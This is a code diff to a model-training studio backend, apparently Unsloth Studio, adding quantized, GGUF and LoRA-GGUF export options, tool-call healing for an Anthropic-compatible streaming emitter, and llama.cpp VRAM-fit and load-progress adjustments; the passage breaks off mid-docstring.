+13,18 @@ import shutil import contextlib from pathlib import Path from typing import Optional, Tuple, List -from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + +# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable +# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash. +try: + from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + _UNSLOTH_IMPORT_ERROR = None +except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load + FastLanguageModel = None + FastVisionModel = None + _IS_MLX = False + _UNSLOTH_IMPORT_ERROR = _unsloth_exc + from huggingface_hub import HfApi, ModelCard from utils.hardware import clear_gpu_cache @@ -27,14 +38,46 @@ from utils.paths import ( ) from core.inference import get_inference_backend -# GPU-only imports — guarded for Apple Silicon where these aren't needed +# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays +# importable; export then degrades to a clear "PyTorch is not installed" error. +torch = None +_TORCH_IMPORT_ERROR: Optional[BaseException] = None if not _IS_MLX: - from peft import PeftModel, PeftModelForCausalLM - from transformers.modeling_utils import PushToHubMixin - import torch + try: + from peft import PeftModel, PeftModelForCausalLM + from transformers.modeling_utils import PushToHubMixin + import torch + except Exception as _torch_exc: # ImportError, or a broken native torch load + _TORCH_IMPORT_ERROR = _torch_exc logger = get_logger(__name__) + +def _export_runtime_available() -> bool: + """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host).""" + return bool(_IS_MLX) or (FastLanguageModel is not None) + + +def _export_runtime_message() -> str: + """Precise reason the export runtime is unavailable, mirroring hardware.export_capability().""" + if torch is None: + return ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + return ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on " + "CPU only.)" + ) + + +# Kept for call sites / tests referencing the PyTorch-missing text. +_PYTORCH_MISSING_MESSAGE = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." +) + _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False @@ -58,6 +101,28 @@ def _compressed_export_supported(): return False +def _torchao_export_supported(): + """True if the installed unsloth build has the portable torchao FP8/INT8 export path.""" + try: + import unsloth.save as _us + return hasattr(_us, "_normalize_torchao_method") + except Exception: + return False + + +def _has_nvidia_gpu(): + """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it.""" + try: + from utils.hardware import hardware as _hw + return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM + except Exception: + try: + import torch + return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None + except Exception: + return False + + def _hf_offline(timeout = 3): """True if export should avoid the Hub: honors the HF offline env vars, else does one cheap TCP reachability probe so a network-down load uses local files / the HF cache @@ -394,13 +459,17 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """ Export merged model (for PEFT models). Args: save_directory: Local directory to save model - format_type: "16-bit (FP16)" or "4-bit (FP4)" + format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label + compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8", + "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides + format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES. push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID (username/model-name) hf_token: Hugging Face token @@ -409,38 +478,108 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - if not self.is_peft: - return ( - False, - "This is not a PEFT model. Use 'Export Base Model' instead.", - None, - ) + # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike + # (save_pretrained_merged is a no-op merge that just saves the base). output_path: Optional[str] = None - # compressed-tensors formats run save_pretrained_merged with an FP8/FP4 save_method and - # write to a sibling "-" directory (for vLLM). - _COMPRESSED = { - "FP8 (compressed-tensors)": ("fp8", "fp8"), - "NVFP4 (compressed-tensors)": ("nvfp4", "nvfp4"), + # Quantized formats save to a sibling "-". Two backends: compressed-tensors + # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias + # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label. + _LABEL_TO_ALIAS = { + "FP8 (compressed-tensors)": "fp8", + "NVFP4 (compressed-tensors)": "nvfp4", } - is_compressed = format_type in _COMPRESSED + compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type) + compressed_suffix: Optional[str] = None + # Classify the alias: torchao-portable vs compressed-tensors. + torchao_info = None + if compressed_alias and _torchao_export_supported(): + try: + import unsloth.save as _us_t + torchao_info = _us_t._normalize_torchao_method(compressed_alias) + except Exception: + torchao_info = None + is_torchao = torchao_info is not None + is_compressed = compressed_alias is not None and not is_torchao try: - if _IS_MLX: - if is_compressed: - return False, "Compressed-tensors export is not supported on macOS/MLX.", None - mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" - elif is_compressed: + if _IS_MLX and (is_compressed or is_torchao): + return ( + False, + "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. " + "Use 16-bit or GGUF.", + None, + ) + + if is_torchao: + # Portable torchao: no NVIDIA GPU, no calibration. + compressed_suffix = torchao_info[1] + + if is_compressed: + # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed. + if not _has_nvidia_gpu(): + return ( + False, + "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other " + "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.", + None, + ) if not _compressed_export_supported(): return ( False, - "Compressed-tensors (FP8/NVFP4) export requires an Unsloth build with " + "Compressed-tensors (FP8/FP4) export requires an Unsloth build with " "compressed-tensors support. Upgrade unsloth, or choose 16-bit.", None, ) - save_method = _COMPRESSED[format_type][0] + import unsloth.save as _us + + # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models + # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports + # through it when available; else fall back to the workspace 0.10.x path below. + _shadow_pp = None + try: + from utils.transformers_version import llmcompressor_shadow_pythonpath + _shadow_pp = llmcompressor_shadow_pythonpath() + except Exception as e: + logger.warning(f"llm-compressor-main shadow unavailable: {e}") + if _shadow_pp: + os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp + else: + # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its + # transformers ceiling, so fail fast for sidecar models; default-tier still works. + os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None) + _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling() + if _exceeds: + return ( + False, + "FP8/FP4 compressed-tensors export is not available for this model: it " + f"runs under transformers {_tf_ver}, but the installed llm-compressor " + f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the " + "llm-compressor-main runtime could not be provisioned (offline or " + "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.", + None, + ) + + try: + info = _us._normalize_compressed_method(compressed_alias) + except Exception as e: + return False, f"Unsupported compressed export '{compressed_alias}': {e}", None + if info is None: + return ( + False, + f"'{compressed_alias}' is not a recognized compressed-tensors export.", + None, + ) + compressed_suffix = info[2] + + if _IS_MLX: + mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" + elif is_compressed or is_torchao: + save_method = compressed_alias elif format_type == "4-bit (FP4)": save_method = "merged_4bit_forced" elif self._audio_type == "whisper": @@ -464,10 +603,10 @@ class ExportBackend: save_directory, self.current_tokenizer, save_method = save_method ) - # Compressed export writes to the "-" sibling; report that as output. + # Compressed / torchao writes to the "-" sibling; report that as output. final_dir = ( - f"{save_directory}-{_COMPRESSED[format_type][1]}" - if is_compressed + f"{save_directory}-{compressed_suffix}" + if (is_compressed or is_torchao) else save_directory ) self._write_export_metadata(final_dir) @@ -507,10 +646,9 @@ class ExportBackend: token = hf_token, private = private, ) - elif is_compressed and output_path and Path(output_path).is_dir(): - # The compressed model was already built locally in output_path; upload it - # directly so we do not re-run the (expensive, OOM-prone) compression that - # push_to_hub_merged(save_method=fp8/nvfp4) would otherwise do a second time. + elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir(): + # Already built in output_path; upload it directly instead of re-running the + # expensive quantization that push_to_hub_merged(save_method=...) would redo. hf_api = HfApi(token = hf_token) repo_id = PushToHubMixin._create_repo( PushToHubMixin, @@ -522,7 +660,7 @@ class ExportBackend: username = repo_id.split("/")[0], base_model = getattr(self.current_model.config, "_name_or_path", "unknown"), model_type = getattr(self.current_model.config, "model_type", "llm"), - method = format_type, + method = compressed_alias or format_type, extra = "unsloth", ) ModelCard(content).push_to_hub( @@ -568,6 +706,8 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None @@ -686,7 +826,7 @@ class ExportBackend: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, @@ -697,7 +837,9 @@ class ExportBackend: Args: save_directory: Local directory to save model - quantization_method: GGUF quantization method (e.g., "Q4_K_M") + quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them + (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single + model load (unsloth save_to_gguf loops internally). push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID hf_token: Hugging Face token @@ -705,11 +847,13 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - # Only forward imatrix_file to an unsloth build that accepts it; otherwise even a plain - # no-imatrix export would fail with an unexpected-keyword error against an older unsloth. + # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise + # an unexpected-keyword error even for a plain no-imatrix export. if imatrix_file is not None and not _supports_kwarg( self.current_model.save_pretrained_gguf, "imatrix_file" ): @@ -724,8 +868,14 @@ class ExportBackend: output_path: Optional[str] = None model_tmp_to_cleanup: Optional[str] = None try: - # unsloth expects lowercase quant method - quant_method = quantization_method.lower() + # Normalize to a lowercased list so multiple quants come from one model load. + if isinstance(quantization_method, (list, tuple)): + quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()] + else: + quant_methods = [str(quantization_method).lower()] + if not quant_methods: + quant_methods = ["q4_k_m"] + quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0] # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it # can't drift past the pinned llama-quantize binary's gguf API. @@ -847,7 +997,7 @@ class ExportBackend: return ( True, - f"GGUF model exported successfully ({quantization_method})", + f"GGUF model exported successfully ({', '.join(quant_methods)})", output_path, ) @@ -867,19 +1017,56 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: """ Export LoRA adapter only (not merged). + Args: + gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp + convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`. + gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32. + Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None if not self.is_peft: return False, "This is not a PEFT model. No adapter to export.", None + _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32") + if gguf: + if _IS_MLX: + return ( + False, + "GGUF LoRA adapter export is not supported on macOS/MLX. " + "Use the safetensors adapter instead.", + None, + ) + outtype = str(gguf_outtype).lower() + if outtype not in _GGUF_LORA_OUTTYPES: + return ( + False, + f"Invalid GGUF LoRA outtype '{gguf_outtype}'. " + f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.", + None, + ) + # getattr so an older build without save_pretrained_gguf returns a clean message + # instead of an AttributeError (a generic 500). + _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None) + if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"): + return ( + False, + "This Unsloth build does not support GGUF LoRA adapter export. " + "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.", + None, + ) + output_path: Optional[str] = None try: if save_directory: @@ -887,7 +1074,24 @@ class ExportBackend: logger.info(f"Saving LoRA adapter locally to: {save_directory}") ensure_dir(Path(save_directory)) - if _IS_MLX: + if gguf: + # Writes the adapter files plus "-lora-.gguf". + _apply_wsl_sudo_patch() + self.current_model.save_pretrained_gguf( + save_directory, + self.current_tokenizer, + save_method = "lora", + quantization_method = outtype, + # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config. + token = hf_token or None, + ) + final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf"))) + logger.info( + "LoRA GGUF export complete. Files in %s:\n %s", + save_directory, + "\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)", + ) + elif _IS_MLX: # MLX: save adapters.safetensors + tokenizer files self.current_model.save_lora_adapters(save_directory) self.current_tokenizer.save_pretrained(save_directory) @@ -907,7 +1111,24 @@ class ExportBackend: logger.info(f"Pushing LoRA adapter to Hub: {repo_id}") - if _IS_MLX: + if gguf: + # Upload the locally-built GGUF folder; needs a local save_directory so the + # conversion is not re-run. + if not (output_path and Path(output_path).is_dir()): + return ( + False, + "GGUF LoRA Hub upload requires a local save directory; set one and " + "retry.", + None, + ) + hf_api = HfApi(token = hf_token) + hf_api.create_repo(repo_id, private = private, exist_ok = True) + hf_api.upload_folder( + folder_path = output_path, + repo_id = repo_id, + repo_type = "model", + ) + elif _IS_MLX: with tempfile.TemporaryDirectory() as tmp_dir: self.current_model.save_lora_adapters(tmp_dir) self.current_tokenizer.save_pretrained(tmp_dir) diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 052a47dd80..671ef363f5 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -456,6 +456,7 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """Export merged PEFT model.""" return self._run_export( @@ -467,6 +468,7 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "compressed_method": compressed_method, }, ) @@ -495,13 +497,13 @@ class ExportOrchestrator: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: - """Export model in GGUF format.""" + """Export model in GGUF format. `quantization_method` may be a single method or a list.""" return self._run_export( "gguf", { @@ -521,8 +523,10 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: - """Export LoRA adapter only.""" + """Export LoRA adapter only (optionally also as a GGUF LoRA file).""" return self._run_export( "lora", { @@ -531,6 +535,8 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "gguf": gguf, + "gguf_outtype": gguf_outtype, }, ) @@ -557,9 +563,13 @@ class ExportOrchestrator: cmd = {"type": "export", "export_type": export_type, **params} try: self._send_cmd(cmd) + # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them + # all in one op off a single merge, so scale the timeout by the quant count. + _qm = params.get("quantization_method") + _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1 resp = self._wait_response( f"export_{export_type}_done", - timeout = 3600, # GGUF for 30B+ models can take 30+ min + timeout = 3600 * max(1, _n), ) op_success = resp.get("success", False) op_message = resp.get("message", "") diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index d473dcb54f..7828116236 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -397,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + compressed_method = cmd.get("compressed_method"), ) elif export_type == "base": success, message, output_path = backend.export_base_model( @@ -423,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + gguf = cmd.get("gguf", False), + gguf_outtype = cmd.get("gguf_outtype", "q8_0"), ) else: success, message = False, f"Unknown export type: {export_type}" diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py index 0307336dde..7b572a28ff 100644 --- a/studio/backend/core/inference/anthropic_compat.py +++ b/studio/backend/core/inference/anthropic_compat.py @@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter: self._usage: dict = {} self._stop_reason: str = "end_turn" self._stop_sequence: Optional[str] = None + # Optional text-form tool-call healing (client-tool passthrough only). + self._healer = None + self._healed_tool_use = False + self._healed_call_count = 0 + self._heal_disable_parallel = False + + def enable_healing( + self, + allowed_tools: set, + tools: Optional[list] = None, + *, + disable_parallel_tool_use: bool = False, + ) -> None: + """Promote text-form tool calls in streamed content to tool_use blocks. + + Only calls naming a tool in ``allowed_tools`` (the client's declared + tools) are promoted; everything else streams as text exactly as before. + Never enabled for Studio's own tool loop. + """ + from core.inference.passthrough_healing import StreamToolCallHealer + + self._healer = StreamToolCallHealer(allowed_tools, tools) + self._heal_disable_parallel = disable_parallel_tool_use def start( self, @@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter: delta = choice.get("delta") or {} finish_reason = choice.get("finish_reason") + # ── Structured tool calls take precedence over healing ── + # Grammar mode worked: flush anything the healer held (it preceded the + # call in the model's output) and relay verbatim from here on. + if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant: + for kind, value in self._healer.structured_tool_call_seen(): + if kind == "text" and value: + events.extend(self._emit_text_delta(value)) + # ── Text content ── content = delta.get("content") - if content: - if self._current_block_type != "text": - if self._current_block_type is not None: - events.append(self._close_current_block()) - events.extend(self._open_text_block()) - events.append( - build_anthropic_sse_event( - "content_block_delta", - { - "type": "content_block_delta", - "index": self.block_index, - "delta": {"type": "text_delta", "text": content}, - }, - ) - ) + if content and self._healer is not None and not self._healer.dormant: + # Route text through the healer: held/promoted portions become + # synthetic tool_use blocks, the rest streams as text unchanged. + for kind, value in self._healer.feed(content): + if kind == "text": + events.extend(self._emit_text_delta(value)) + else: + events.extend(self._emit_healed_tool_use(value)) + elif content: + events.extend(self._emit_text_delta(content)) # ── Tool calls (streaming deltas) ── tool_calls = delta.get("tool_calls") or [] for tc in tool_calls: tc_idx = tc.get("index", 0) fn = tc.get("function") or {} + if ( + self._heal_disable_parallel + and tc_idx not in self._tool_call_states + and (self._healed_call_count + len(self._tool_call_states)) >= 1 + ): + # disable_parallel_tool_use: a healed call already consumed the + # single allowed slot. The caller's chunk-level cap only sees + # native indexes, so drop this native call (and its later + # argument deltas, which never allocate a state either). + continue if tc_idx not in self._tool_call_states: # New tool call — close prior block, open tool_use block if self._current_block_type is not None: @@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter: def finish(self) -> list[str]: events: list[str] = [] + if self._healer is not None: + # Last-chance heal of any held residue (e.g. an unclosed tool block). + for kind, value in self._healer.finalize(): + if kind == "text" and value: + events.extend(self._emit_text_delta(value)) + elif kind == "tool_call": + events.extend(self._emit_healed_tool_use(value)) + if self._healed_tool_use and self._stop_reason != "max_tokens": + # A promoted call must stop for tool use; a truncation still wins + # (its arguments may be incomplete). + self._stop_reason = "tool_use" if self._current_block_type is not None: events.append(self._close_current_block()) events.append( @@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter: ) return events + def _emit_text_delta(self, content: str) -> list[str]: + events: list[str] = [] + if self._current_block_type != "text": + if self._current_block_type is not None: + events.append(self._close_current_block()) + events.extend(self._open_text_block()) + events.append( + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": {"type": "text_delta", "text": content}, + }, + ) + ) + return events + + def _emit_healed_tool_use(self, call: dict) -> list[str]: + # A healed call arrives complete, so its tool_use block opens, carries + # one input_json_delta, and closes immediately; an open text block is + # closed first (only the safe prefix ever streamed into it). + if ( + self._heal_disable_parallel + and (self._healed_call_count + len(self._tool_call_states)) >= 1 + ): + # Healed and native calls share the single allowed slot. + return [] + events: list[str] = [] + if self._current_block_type is not None: + events.append(self._close_current_block()) + function = call.get("function") or {} + tool_id = anthropic_tool_use_id("") + self.block_index += 1 + self._current_block_type = "tool_use" + events.append( + build_anthropic_sse_event( + "content_block_start", + { + "type": "content_block_start", + "index": self.block_index, + "content_block": { + "type": "tool_use", + "id": tool_id, + "name": function.get("name", ""), + "input": {}, + }, + }, + ) + ) + arguments = function.get("arguments") or "" + if arguments: + events.append( + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": { + "type": "input_json_delta", + "partial_json": arguments, + }, + }, + ) + ) + events.append(self._close_current_block()) + self._healed_tool_use = True + self._healed_call_count += 1 + return events + def _open_text_block(self) -> list[str]: self.block_index += 1 self._current_block_type = "text" diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py index af62a29679..3ccfc5cdfe 100644 --- a/studio/backend/core/inference/llama_cpp.py +++ b/studio/backend/core/inference/llama_cpp.py @@ -801,7 +801,11 @@ _MTP_MIN_SIZE_B = 3.0 # Cap total GPU occupancy at this fraction of the card. The fit reserves an # absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve. -_CTX_FIT_VRAM_FRACTION = 0.95 +# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes), +# so this cushion no longer covers it - only fragmentation, the per-device CUDA +# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on +# 3 GPUs under-predicts by 2.7%). Below 3% one fragmentation spike overflows to CPU. +_CTX_FIT_VRAM_FRACTION = 0.97 # Apple unified memory is shared with the OS, so tighter than VRAM. Matches the # 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync. @@ -1223,6 +1227,25 @@ def _backfill_usage_from_timings(usage, timings): return out +def _is_external_link(path: Path) -> bool: + """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink + or a Windows directory junction / reparse point. Such a link resolves into + the user's own llama.cpp checkout, which Studio does not own.""" + try: + if os.path.islink(path): + return True + except OSError: + return False + if os.name == "nt": + try: + import stat + attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined] + return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT) + except (OSError, AttributeError): + return False + return False + + class LlamaCppBackend: """Manages a llama-server subprocess for GGUF model inference. @@ -1254,6 +1277,7 @@ class LlamaCppBackend: self._is_diffusion: bool = False self._diffusion_visual_bin: Optional[str] = None self._healthy = False + self._load_rss_hwm = (None, 0) # (pid, peak VmRSS) for load_progress self._stats_logger = None # vLLM-style engine-stats poller, set on load # Set by _classify_gpu_offload after _wait_for_health. self._gpu_offload_active: Optional[bool] = None @@ -1461,6 +1485,21 @@ class LlamaCppBackend: """Return the model's native context length from GGUF metadata.""" return self._context_length + @staticmethod + def _read_rss_bytes(pid: int) -> Optional[int]: + """Resident set size of ``pid`` in bytes, from /proc//status (Linux). + 0 when the status has no VmRSS line (zombie / kernel thread); None where + /proc is unavailable (macOS/Windows) or the value is unreadable.""" + try: + with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f: + for line in f: + if line.startswith("VmRSS:"): + # IndexError guards a "VmRSS:" line with no value column. + return int(line.split()[1]) * 1024 # kB -> bytes + except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError): + return None + return 0 # readable but no VmRSS line + def load_progress(self) -> Optional[dict]: """Return live model-load progress, or None if not loading. @@ -1520,22 +1559,32 @@ class LlamaCppBackend: except OSError: pass - # Read VmRSS from /proc//status (kilobytes on Linux). - bytes_loaded = 0 - try: - with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f: - for line in f: - if line.startswith("VmRSS:"): - kb = int(line.split()[1]) - bytes_loaded = kb * 1024 - break - except (FileNotFoundError, PermissionError, ValueError, OSError): + # VmRSS of the llama-server; None where /proc is unavailable. + bytes_loaded = LlamaCppBackend._read_rss_bytes(pid) + if bytes_loaded is None: return None + # RSS climbs as weights page in, then drops once -ngl offloads them to + # VRAM and the mmap pages are freed. Hold a per-process high-water mark + # so the bar never regresses to ~8% mid-load (#5740). + hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0)) + hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded) + self._load_rss_hwm = (pid, hwm) + bytes_loaded = hwm + phase = "ready" if self._healthy else "mmap" fraction = 0.0 if bytes_total > 0: fraction = min(1.0, bytes_loaded / bytes_total) + # Once llama-server is healthy the load is complete by definition. With + # layers offloaded to VRAM (-ngl) the process releases the mmap'd weight + # pages, so VmRSS sinks back well below the shard total; the raw RSS + # fraction would then report a partial (~8%) load indefinitely and freeze + # a fraction-driven progress bar even though the model is ready (#5740). + if self._healthy: + if bytes_total > 0: + bytes_loaded = bytes_total + fraction = 1.0 return { "phase": phase, "bytes_loaded": bytes_loaded, @@ -2419,9 +2468,10 @@ class LlamaCppBackend: prev = curr # Free-VRAM fraction at which Studio pins the GPU directly instead of - # deferring to ``--fit on``. 5% headroom covers CUDA context + compute - # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106). - _GPU_PIN_VRAM_FRACTION = 0.95 + # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in + # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context + # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106). + _GPU_PIN_VRAM_FRACTION = 0.97 # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived @@ -2977,6 +3027,27 @@ class LlamaCppBackend: _DEFAULT_N_UBATCH = 512 # llama.cpp --ubatch default; Studio does not override it _COMPUTE_BUFFER_SAFETY = 1.15 # upper-bound margin on the compute-buffer estimate + # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682). + _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024 # CUDA ctx + cuBLAS workspace (~330 MiB) + _MMPROJ_VRAM_SAFETY = 1.4 # mmproj worst-case buffer vs file size (runtime ~1.3x) + _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024 # MTP draft decode graph beyond its KV + # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat + # _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate + # depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a + # context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x + # n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an + # f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2 + # bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and + # Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16. + # 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled + # flat base; the mask safety covers the f16 base gap. Without this term, tight tiers + # at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on + # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B + # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3 + # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits. + _CTX_COMPUTE_BYTES_PER_EMBD = 2.25 # quantized KV, regular attention (dequant scratch) + _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25 # quantized KV, MLA (compressed attn: measured 0.94x) + _CTX_COMPUTE_F16_MASK_SAFETY = 1.5 # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok) def _estimate_compute_buffer_bytes( self, @@ -3007,6 +3078,85 @@ class LlamaCppBackend: compute = act_scratch + out_buffer * max(0, par - 1) return int(compute * self._COMPUTE_BUFFER_SAFETY) + def _compute_buffer_ctx_bytes( + self, + n_ctx: int, + n_ubatch: Optional[int] = None, + cache_type_kv: Optional[str] = None, + ) -> int: + """Context-linear growth of the per-device compute buffer (bytes), charged + on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ + mask + attention scratch scale ~linearly with context and with the micro- + batch; the flat term only covers ctx -> 0. A quantized KV cache adds a + context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only + the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None + -> f16 (llama.cpp's default; an 